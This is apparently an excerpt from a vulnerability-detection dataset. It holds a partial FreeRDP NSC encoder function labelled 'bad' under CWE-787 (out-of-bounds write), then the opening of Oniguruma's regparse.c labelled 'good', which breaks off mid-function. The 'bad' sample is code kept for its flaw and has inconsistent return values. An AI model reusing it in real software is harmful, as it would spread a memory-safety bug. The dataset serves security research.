context, wStream* s, NSC_MESSAGE* message) { UINT32 totalPlaneByteCount; totalPlaneByteCount = message->LumaPlaneByteCount + message->OrangeChromaPlaneByteCount + message->GreenChromaPlaneByteCount + message->AlphaPlaneByteCount; if (!Stream_EnsureRemainingCapacity(s, 20 + totalPlaneByteCount)) return -1; Stream_Write_UINT32(s, message->LumaPlaneByteCount); /* LumaPlaneByteCount (4 bytes) */ Stream_Write_UINT32(s, message->OrangeChromaPlaneByteCount); /* OrangeChromaPlaneByteCount (4 bytes) */ Stream_Write_UINT32(s, message->GreenChromaPlaneByteCount); /* GreenChromaPlaneByteCount (4 bytes) */ Stream_Write_UINT32(s, message->AlphaPlaneByteCount); /* AlphaPlaneByteCount (4 bytes) */ Stream_Write_UINT8(s, message->ColorLossLevel); /* ColorLossLevel (1 byte) */ Stream_Write_UINT8(s, message->ChromaSubsamplingLevel); /* ChromaSubsamplingLevel (1 byte) */ Stream_Write_UINT16(s, 0); /* Reserved (2 bytes) */ if (message->LumaPlaneByteCount) Stream_Write(s, message->PlaneBuffers[0], message->LumaPlaneByteCount); /* LumaPlane */ if (message->OrangeChromaPlaneByteCount) Stream_Write(s, message->PlaneBuffers[1], message->OrangeChromaPlaneByteCount); /* OrangeChromaPlane */ if (message->GreenChromaPlaneByteCount) Stream_Write(s, message->PlaneBuffers[2], message->GreenChromaPlaneByteCount); /* GreenChromaPlane */ if (message->AlphaPlaneByteCount) Stream_Write(s, message->PlaneBuffers[3], message->AlphaPlaneByteCount); /* AlphaPlane */ return TRUE; } void nsc_message_free(NSC_CONTEXT* context, NSC_MESSAGE* message) { BufferPool_Return(context->priv->PlanePool, message->PlaneBuffer); } BOOL nsc_compose_message(NSC_CONTEXT* context, wStream* s, const BYTE* data, UINT32 width, UINT32 height, UINT32 scanline) { NSC_MESSAGE s_message = { 0 }; NSC_MESSAGE* message = &s_message; context->width = width; context->height = height; if (!nsc_context_initialize_encode(context)) return FALSE; /* ARGB to AYCoCg conversion, chroma subsampling and colorloss reduction */ PROFILER_ENTER(context->priv->prof_nsc_encode) context->encode(context, data, scanline); PROFILER_EXIT(context->priv->prof_nsc_encode) /* RLE encode */ PROFILER_ENTER(context->priv->prof_nsc_rle_compress_data) nsc_rle_compress_data(context); PROFILER_EXIT(context->priv->prof_nsc_rle_compress_data) message->PlaneBuffers[0] = context->priv->PlaneBuffers[0]; message->PlaneBuffers[1] = context->priv->PlaneBuffers[1]; message->PlaneBuffers[2] = context->priv->PlaneBuffers[2]; message->PlaneBuffers[3] = context->priv->PlaneBuffers[3]; message->LumaPlaneByteCount = context->PlaneByteCount[0]; message->OrangeChromaPlaneByteCount = context->PlaneByteCount[1]; message->GreenChromaPlaneByteCount = context->PlaneByteCount[2]; message->AlphaPlaneByteCount = context->PlaneByteCount[3]; message->ColorLossLevel = context->ColorLossLevel; message->ChromaSubsamplingLevel = context->ChromaSubsamplingLevel; return nsc_write_message(context, s, message); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_674_2
crossvul-cpp_data_good_3377_0
/********************************************************************** regparse.c - Oniguruma (regular expression library) **********************************************************************/ /*- * Copyright (c) 2002-2016 K.Kosako <sndgk393 AT ybb DOT ne DOT jp> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "regparse.h" #include "st.h" #ifdef DEBUG_NODE_FREE #include <stdio.h> #endif #define WARN_BUFSIZE 256 #define CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS OnigSyntaxType OnigSyntaxRuby = { (( SYN_GNU_REGEX_OP | ONIG_SYN_OP_QMARK_NON_GREEDY | ONIG_SYN_OP_ESC_OCTAL3 | ONIG_SYN_OP_ESC_X_HEX2 | ONIG_SYN_OP_ESC_X_BRACE_HEX8 | ONIG_SYN_OP_ESC_O_BRACE_OCTAL | ONIG_SYN_OP_ESC_CONTROL_CHARS | ONIG_SYN_OP_ESC_C_CONTROL ) & ~ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END ) , ( ONIG_SYN_OP2_QMARK_GROUP_EFFECT | ONIG_SYN_OP2_OPTION_RUBY | ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP | ONIG_SYN_OP2_ESC_K_NAMED_BACKREF | ONIG_SYN_OP2_ESC_G_SUBEXP_CALL | ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY | ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT | ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT | ONIG_SYN_OP2_CCLASS_SET_OP | ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL | ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META | ONIG_SYN_OP2_ESC_V_VTAB | ONIG_SYN_OP2_ESC_H_XDIGIT ) , ( SYN_GNU_REGEX_BV | ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV | ONIG_SYN_DIFFERENT_LEN_ALT_LOOK_BEHIND | ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP | ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME | ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY | ONIG_SYN_WARN_CC_OP_NOT_ESCAPED | ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT ) , ONIG_OPTION_NONE , { (OnigCodePoint )'\\' /* esc */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar '.' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anytime '*' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* zero or one time '?' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* one or more time '+' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar anytime */ } }; OnigSyntaxType* OnigDefaultSyntax = ONIG_SYNTAX_RUBY; extern void onig_null_warn(const char* s ARG_UNUSED) { } #ifdef DEFAULT_WARN_FUNCTION static OnigWarnFunc onig_warn = (OnigWarnFunc )DEFAULT_WARN_FUNCTION; #else static OnigWarnFunc onig_warn = onig_null_warn; #endif #ifdef DEFAULT_VERB_WARN_FUNCTION static OnigWarnFunc onig_verb_warn = (OnigWarnFunc )DEFAULT_VERB_WARN_FUNCTION; #else static OnigWarnFunc onig_verb_warn = onig_null_warn; #endif extern void onig_set_warn_func(OnigWarnFunc f) { onig_warn = f; } extern void onig_set_verb_warn_func(OnigWarnFunc f) { onig_verb_warn = f; } extern void onig_warning(const char* s) { if (onig_warn == onig_null_warn) return ; (*onig_warn)(s); } #define DEFAULT_MAX_CAPTURE_NUM 32767 static int MaxCaptureNum = DEFAULT_MAX_CAPTURE_NUM; extern int onig_set_capture_num_limit(int num) { if (num < 0) return -1; MaxCaptureNum = num; return 0; } static unsigned int ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; extern unsigned int onig_get_parse_depth_limit(void) { return ParseDepthLimit; } extern int onig_set_parse_depth_limit(unsigned int depth) { if (depth == 0) ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; else ParseDepthLimit = depth; return 0; } static void bbuf_free(BBuf* bbuf) { if (IS_NOT_NULL(bbuf)) { if (IS_NOT_NULL(bbuf->p)) xfree(bbuf->p); xfree(bbuf); } } static int bbuf_clone(BBuf** rto, BBuf* from) { int r; BBuf *to; *rto = to = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(to); r = BBUF_INIT(to, from->alloc); if (r != 0) return r; to->used = from->used; xmemcpy(to->p, from->p, from->used); return 0; } #define BACKREF_REL_TO_ABS(rel_no, env) \ ((env)->num_mem + 1 + (rel_no)) #define ONOFF(v,f,negative) (negative) ? ((v) &= ~(f)) : ((v) |= (f)) #define MBCODE_START_POS(enc) \ (OnigCodePoint )(ONIGENC_MBC_MINLEN(enc) > 1 ? 0 : 0x80) #define SET_ALL_MULTI_BYTE_RANGE(enc, pbuf) \ add_code_range_to_buf(pbuf, MBCODE_START_POS(enc), ~((OnigCodePoint )0)) #define ADD_ALL_MULTI_BYTE_RANGE(enc, mbuf) do {\ if (! ONIGENC_IS_SINGLEBYTE(enc)) {\ r = SET_ALL_MULTI_BYTE_RANGE(enc, &(mbuf));\ if (r) return r;\ }\ } while (0) #define BITSET_IS_EMPTY(bs,empty) do {\ int i;\ empty = 1;\ for (i = 0; i < (int )BITSET_SIZE; i++) {\ if ((bs)[i] != 0) {\ empty = 0; break;\ }\ }\ } while (0) static void bitset_set_range(BitSetRef bs, int from, int to) { int i; for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) { BITSET_SET_BIT(bs, i); } } #if 0 static void bitset_set_all(BitSetRef bs) { int i; for (i = 0; i < BITSET_SIZE; i++) { bs[i] = ~((Bits )0); } } #endif static void bitset_invert(BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { bs[i] = ~(bs[i]); } } static void bitset_invert_to(BitSetRef from, BitSetRef to) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { to[i] = ~(from[i]); } } static void bitset_and(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] &= bs[i]; } } static void bitset_or(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] |= bs[i]; } } static void bitset_copy(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] = bs[i]; } } extern int onig_strncmp(const UChar* s1, const UChar* s2, int n) { int x; while (n-- > 0) { x = *s2++ - *s1++; if (x) return x; } return 0; } extern void onig_strcpy(UChar* dest, const UChar* src, const UChar* end) { int len = end - src; if (len > 0) { xmemcpy(dest, src, len); dest[len] = (UChar )0; } } #ifdef USE_NAMED_GROUP static UChar* strdup_with_null(OnigEncoding enc, UChar* s, UChar* end) { int slen, term_len, i; UChar *r; slen = end - s; term_len = ONIGENC_MBC_MINLEN(enc); r = (UChar* )xmalloc(slen + term_len); CHECK_NULL_RETURN(r); xmemcpy(r, s, slen); for (i = 0; i < term_len; i++) r[slen + i] = (UChar )0; return r; } #endif /* scan pattern methods */ #define PEND_VALUE 0 #define PFETCH_READY UChar* pfetch_prev #define PEND (p < end ? 0 : 1) #define PUNFETCH p = pfetch_prev #define PINC do { \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PINC_S do { \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH_S(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PPEEK (p < end ? ONIGENC_MBC_TO_CODE(enc, p, end) : PEND_VALUE) #define PPEEK_IS(c) (PPEEK == (OnigCodePoint )c) static UChar* strcat_capa(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; if (dest) r = (UChar* )xrealloc(dest, capa + 1); else r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } /* dest on static area */ static UChar* strcat_capa_from_static(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r, dest, dest_end); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } #ifdef USE_ST_LIBRARY typedef struct { UChar* s; UChar* end; } st_str_end_key; static int str_end_cmp(st_str_end_key* x, st_str_end_key* y) { UChar *p, *q; int c; if ((x->end - x->s) != (y->end - y->s)) return 1; p = x->s; q = y->s; while (p < x->end) { c = (int )*p - (int )*q; if (c != 0) return c; p++; q++; } return 0; } static int str_end_hash(st_str_end_key* x) { UChar *p; int val = 0; p = x->s; while (p < x->end) { val = val * 997 + (int )*p++; } return val + (val >> 5); } extern hash_table_type* onig_st_init_strend_table_with_size(int size) { static struct st_hash_type hashType = { str_end_cmp, str_end_hash, }; return (hash_table_type* ) onig_st_init_table_with_size(&hashType, size); } extern int onig_st_lookup_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type *value) { st_str_end_key key; key.s = (UChar* )str_key; key.end = (UChar* )end_key; return onig_st_lookup(table, (st_data_t )(&key), value); } extern int onig_st_insert_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type value) { st_str_end_key* key; int result; key = (st_str_end_key* )xmalloc(sizeof(st_str_end_key)); key->s = (UChar* )str_key; key->end = (UChar* )end_key; result = onig_st_insert(table, (st_data_t )key, value); if (result) { xfree(key); } return result; } #endif /* USE_ST_LIBRARY */ #ifdef USE_NAMED_GROUP #define INIT_NAME_BACKREFS_ALLOC_NUM 8 typedef struct { UChar* name; int name_len; /* byte length */ int back_num; /* number of backrefs */ int back_alloc; int back_ref1; int* back_refs; } NameEntry; #ifdef USE_ST_LIBRARY typedef st_table NameTable; typedef st_data_t HashDataType; /* 1.6 st.h doesn't define st_data_t type */ #define NAMEBUF_SIZE 24 #define NAMEBUF_SIZE_1 25 #ifdef ONIG_DEBUG static int i_print_name_entry(UChar* key, NameEntry* e, void* arg) { int i; FILE* fp = (FILE* )arg; fprintf(fp, "%s: ", e->name); if (e->back_num == 0) fputs("-", fp); else if (e->back_num == 1) fprintf(fp, "%d", e->back_ref1); else { for (i = 0; i < e->back_num; i++) { if (i > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[i]); } } fputs("\n", fp); return ST_CONTINUE; } extern int onig_print_names(FILE* fp, regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { fprintf(fp, "name table\n"); onig_st_foreach(t, i_print_name_entry, (HashDataType )fp); fputs("\n", fp); } return 0; } #endif /* ONIG_DEBUG */ static int i_free_name_entry(UChar* key, NameEntry* e, void* arg ARG_UNUSED) { xfree(e->name); if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); xfree(key); xfree(e); return ST_DELETE; } static int names_clear(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_free_name_entry, 0); } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) onig_st_free_table(t); reg->name_table = (void* )NULL; return 0; } static NameEntry* name_find(regex_t* reg, const UChar* name, const UChar* name_end) { NameEntry* e; NameTable* t = (NameTable* )reg->name_table; e = (NameEntry* )NULL; if (IS_NOT_NULL(t)) { onig_st_lookup_strend(t, name, name_end, (HashDataType* )((void* )(&e))); } return e; } typedef struct { int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*); regex_t* reg; void* arg; int ret; OnigEncoding enc; } INamesArg; static int i_names(UChar* key ARG_UNUSED, NameEntry* e, INamesArg* arg) { int r = (*(arg->func))(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), arg->reg, arg->arg); if (r != 0) { arg->ret = r; return ST_STOP; } return ST_CONTINUE; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { INamesArg narg; NameTable* t = (NameTable* )reg->name_table; narg.ret = 0; if (IS_NOT_NULL(t)) { narg.func = func; narg.reg = reg; narg.arg = arg; narg.enc = reg->enc; /* should be pattern encoding. */ onig_st_foreach(t, i_names, (HashDataType )&narg); } return narg.ret; } static int i_renumber_name(UChar* key ARG_UNUSED, NameEntry* e, GroupNumRemap* map) { int i; if (e->back_num > 1) { for (i = 0; i < e->back_num; i++) { e->back_refs[i] = map[e->back_refs[i]].new_val; } } else if (e->back_num == 1) { e->back_ref1 = map[e->back_ref1].new_val; } return ST_CONTINUE; } extern int onig_renumber_name_table(regex_t* reg, GroupNumRemap* map) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_renumber_name, (HashDataType )map); } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num_entries; else return 0; } #else /* USE_ST_LIBRARY */ #define INIT_NAMES_ALLOC_NUM 8 typedef struct { NameEntry* e; int num; int alloc; } NameTable; #ifdef ONIG_DEBUG extern int onig_print_names(FILE* fp, regex_t* reg) { int i, j; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t) && t->num > 0) { fprintf(fp, "name table\n"); for (i = 0; i < t->num; i++) { e = &(t->e[i]); fprintf(fp, "%s: ", e->name); if (e->back_num == 0) { fputs("-", fp); } else if (e->back_num == 1) { fprintf(fp, "%d", e->back_ref1); } else { for (j = 0; j < e->back_num; j++) { if (j > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[j]); } } fputs("\n", fp); } fputs("\n", fp); } return 0; } #endif static int names_clear(regex_t* reg) { int i; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (IS_NOT_NULL(e->name)) { xfree(e->name); e->name = NULL; e->name_len = 0; e->back_num = 0; e->back_alloc = 0; if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); e->back_refs = (int* )NULL; } } if (IS_NOT_NULL(t->e)) { xfree(t->e); t->e = NULL; } t->num = 0; } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) xfree(t); reg->name_table = NULL; return 0; } static NameEntry* name_find(regex_t* reg, UChar* name, UChar* name_end) { int i, len; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { len = name_end - name; for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (len == e->name_len && onig_strncmp(name, e->name, len) == 0) return e; } } return (NameEntry* )NULL; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { int i, r; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); r = (*func)(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), reg, arg); if (r != 0) return r; } } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num; else return 0; } #endif /* else USE_ST_LIBRARY */ static int name_add(regex_t* reg, UChar* name, UChar* name_end, int backref, ScanEnv* env) { int alloc; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (name_end - name <= 0) return ONIGERR_EMPTY_GROUP_NAME; e = name_find(reg, name, name_end); if (IS_NULL(e)) { #ifdef USE_ST_LIBRARY if (IS_NULL(t)) { t = onig_st_init_strend_table_with_size(5); reg->name_table = (void* )t; } e = (NameEntry* )xmalloc(sizeof(NameEntry)); CHECK_NULL_RETURN_MEMERR(e); e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) { xfree(e); return ONIGERR_MEMORY; } onig_st_insert_strend(t, e->name, (e->name + (name_end - name)), (HashDataType )e); e->name_len = name_end - name; e->back_num = 0; e->back_alloc = 0; e->back_refs = (int* )NULL; #else if (IS_NULL(t)) { alloc = INIT_NAMES_ALLOC_NUM; t = (NameTable* )xmalloc(sizeof(NameTable)); CHECK_NULL_RETURN_MEMERR(t); t->e = NULL; t->alloc = 0; t->num = 0; t->e = (NameEntry* )xmalloc(sizeof(NameEntry) * alloc); if (IS_NULL(t->e)) { xfree(t); return ONIGERR_MEMORY; } t->alloc = alloc; reg->name_table = t; goto clear; } else if (t->num == t->alloc) { int i; alloc = t->alloc * 2; t->e = (NameEntry* )xrealloc(t->e, sizeof(NameEntry) * alloc); CHECK_NULL_RETURN_MEMERR(t->e); t->alloc = alloc; clear: for (i = t->num; i < t->alloc; i++) { t->e[i].name = NULL; t->e[i].name_len = 0; t->e[i].back_num = 0; t->e[i].back_alloc = 0; t->e[i].back_refs = (int* )NULL; } } e = &(t->e[t->num]); t->num++; e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) return ONIGERR_MEMORY; e->name_len = name_end - name; #endif } if (e->back_num >= 1 && ! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME)) { onig_scan_env_set_error_string(env, ONIGERR_MULTIPLEX_DEFINED_NAME, name, name_end); return ONIGERR_MULTIPLEX_DEFINED_NAME; } e->back_num++; if (e->back_num == 1) { e->back_ref1 = backref; } else { if (e->back_num == 2) { alloc = INIT_NAME_BACKREFS_ALLOC_NUM; e->back_refs = (int* )xmalloc(sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; e->back_refs[0] = e->back_ref1; e->back_refs[1] = backref; } else { if (e->back_num > e->back_alloc) { alloc = e->back_alloc * 2; e->back_refs = (int* )xrealloc(e->back_refs, sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; } e->back_refs[e->back_num - 1] = backref; } } return 0; } extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { NameEntry* e = name_find(reg, name, name_end); if (IS_NULL(e)) return ONIGERR_UNDEFINED_NAME_REFERENCE; switch (e->back_num) { case 0: break; case 1: *nums = &(e->back_ref1); break; default: *nums = e->back_refs; break; } return e->back_num; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion *region) { int i, n, *nums; n = onig_name_to_group_numbers(reg, name, name_end, &nums); if (n < 0) return n; else if (n == 0) return ONIGERR_PARSER_BUG; else if (n == 1) return nums[0]; else { if (IS_NOT_NULL(region)) { for (i = n - 1; i >= 0; i--) { if (region->beg[nums[i]] != ONIG_REGION_NOTPOS) return nums[i]; } } return nums[n - 1]; } } #else /* USE_NAMED_GROUP */ extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion* region) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_number_of_names(regex_t* reg) { return 0; } #endif /* else USE_NAMED_GROUP */ extern int onig_noname_group_capture_is_active(regex_t* reg) { if (ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_DONT_CAPTURE_GROUP)) return 0; #ifdef USE_NAMED_GROUP if (onig_number_of_names(reg) > 0 && IS_SYNTAX_BV(reg->syntax, ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP) && !ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_CAPTURE_GROUP)) { return 0; } #endif return 1; } #define INIT_SCANENV_MEMNODES_ALLOC_SIZE 16 static void scan_env_clear(ScanEnv* env) { int i; BIT_STATUS_CLEAR(env->capture_history); BIT_STATUS_CLEAR(env->bt_mem_start); BIT_STATUS_CLEAR(env->bt_mem_end); BIT_STATUS_CLEAR(env->backrefed_mem); env->error = (UChar* )NULL; env->error_end = (UChar* )NULL; env->num_call = 0; env->num_mem = 0; #ifdef USE_NAMED_GROUP env->num_named = 0; #endif env->mem_alloc = 0; env->mem_nodes_dynamic = (Node** )NULL; for (i = 0; i < SCANENV_MEMNODES_SIZE; i++) env->mem_nodes_static[i] = NULL_NODE; #ifdef USE_COMBINATION_EXPLOSION_CHECK env->num_comb_exp_check = 0; env->comb_exp_max_regnum = 0; env->curr_max_regnum = 0; env->has_recursion = 0; #endif env->parse_depth = 0; } static int scan_env_add_mem_entry(ScanEnv* env) { int i, need, alloc; Node** p; need = env->num_mem + 1; if (need > MaxCaptureNum && MaxCaptureNum != 0) return ONIGERR_TOO_MANY_CAPTURES; if (need >= SCANENV_MEMNODES_SIZE) { if (env->mem_alloc <= need) { if (IS_NULL(env->mem_nodes_dynamic)) { alloc = INIT_SCANENV_MEMNODES_ALLOC_SIZE; p = (Node** )xmalloc(sizeof(Node*) * alloc); xmemcpy(p, env->mem_nodes_static, sizeof(Node*) * SCANENV_MEMNODES_SIZE); } else { alloc = env->mem_alloc * 2; p = (Node** )xrealloc(env->mem_nodes_dynamic, sizeof(Node*) * alloc); } CHECK_NULL_RETURN_MEMERR(p); for (i = env->num_mem + 1; i < alloc; i++) p[i] = NULL_NODE; env->mem_nodes_dynamic = p; env->mem_alloc = alloc; } } env->num_mem++; return env->num_mem; } static int scan_env_set_mem_node(ScanEnv* env, int num, Node* node) { if (env->num_mem >= num) SCANENV_MEM_NODES(env)[num] = node; else return ONIGERR_PARSER_BUG; return 0; } extern void onig_node_free(Node* node) { start: if (IS_NULL(node)) return ; #ifdef DEBUG_NODE_FREE fprintf(stderr, "onig_node_free: %p\n", node); #endif switch (NTYPE(node)) { case NT_STR: if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } break; case NT_LIST: case NT_ALT: onig_node_free(NCAR(node)); { Node* next_node = NCDR(node); xfree(node); node = next_node; goto start; } break; case NT_CCLASS: { CClassNode* cc = NCCLASS(node); if (IS_NCCLASS_SHARE(cc)) return ; if (cc->mbuf) bbuf_free(cc->mbuf); } break; case NT_QTFR: if (NQTFR(node)->target) onig_node_free(NQTFR(node)->target); break; case NT_ENCLOSE: if (NENCLOSE(node)->target) onig_node_free(NENCLOSE(node)->target); break; case NT_BREF: if (IS_NOT_NULL(NBREF(node)->back_dynamic)) xfree(NBREF(node)->back_dynamic); break; case NT_ANCHOR: if (NANCHOR(node)->target) onig_node_free(NANCHOR(node)->target); break; } xfree(node); } static Node* node_new(void) { Node* node; node = (Node* )xmalloc(sizeof(Node)); /* xmemset(node, 0, sizeof(Node)); */ #ifdef DEBUG_NODE_FREE fprintf(stderr, "node_new: %p\n", node); #endif return node; } static void initialize_cclass(CClassNode* cc) { BITSET_CLEAR(cc->bs); /* cc->base.flags = 0; */ cc->flags = 0; cc->mbuf = NULL; } static Node* node_new_cclass(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CCLASS); initialize_cclass(NCCLASS(node)); return node; } static Node* node_new_ctype(int type, int not) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CTYPE); NCTYPE(node)->ctype = type; NCTYPE(node)->not = not; return node; } static Node* node_new_anychar(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CANY); return node; } static Node* node_new_list(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_LIST); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_list(Node* left, Node* right) { return node_new_list(left, right); } extern Node* onig_node_list_add(Node* list, Node* x) { Node *n; n = onig_node_new_list(x, NULL); if (IS_NULL(n)) return NULL_NODE; if (IS_NOT_NULL(list)) { while (IS_NOT_NULL(NCDR(list))) list = NCDR(list); NCDR(list) = n; } return n; } extern Node* onig_node_new_alt(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ALT); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_anchor(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ANCHOR); NANCHOR(node)->type = type; NANCHOR(node)->target = NULL; NANCHOR(node)->char_len = -1; return node; } static Node* node_new_backref(int back_num, int* backrefs, int by_name, #ifdef USE_BACKREF_WITH_LEVEL int exist_level, int nest_level, #endif ScanEnv* env) { int i; Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_BREF); NBREF(node)->state = 0; NBREF(node)->back_num = back_num; NBREF(node)->back_dynamic = (int* )NULL; if (by_name != 0) NBREF(node)->state |= NST_NAME_REF; #ifdef USE_BACKREF_WITH_LEVEL if (exist_level != 0) { NBREF(node)->state |= NST_NEST_LEVEL; NBREF(node)->nest_level = nest_level; } #endif for (i = 0; i < back_num; i++) { if 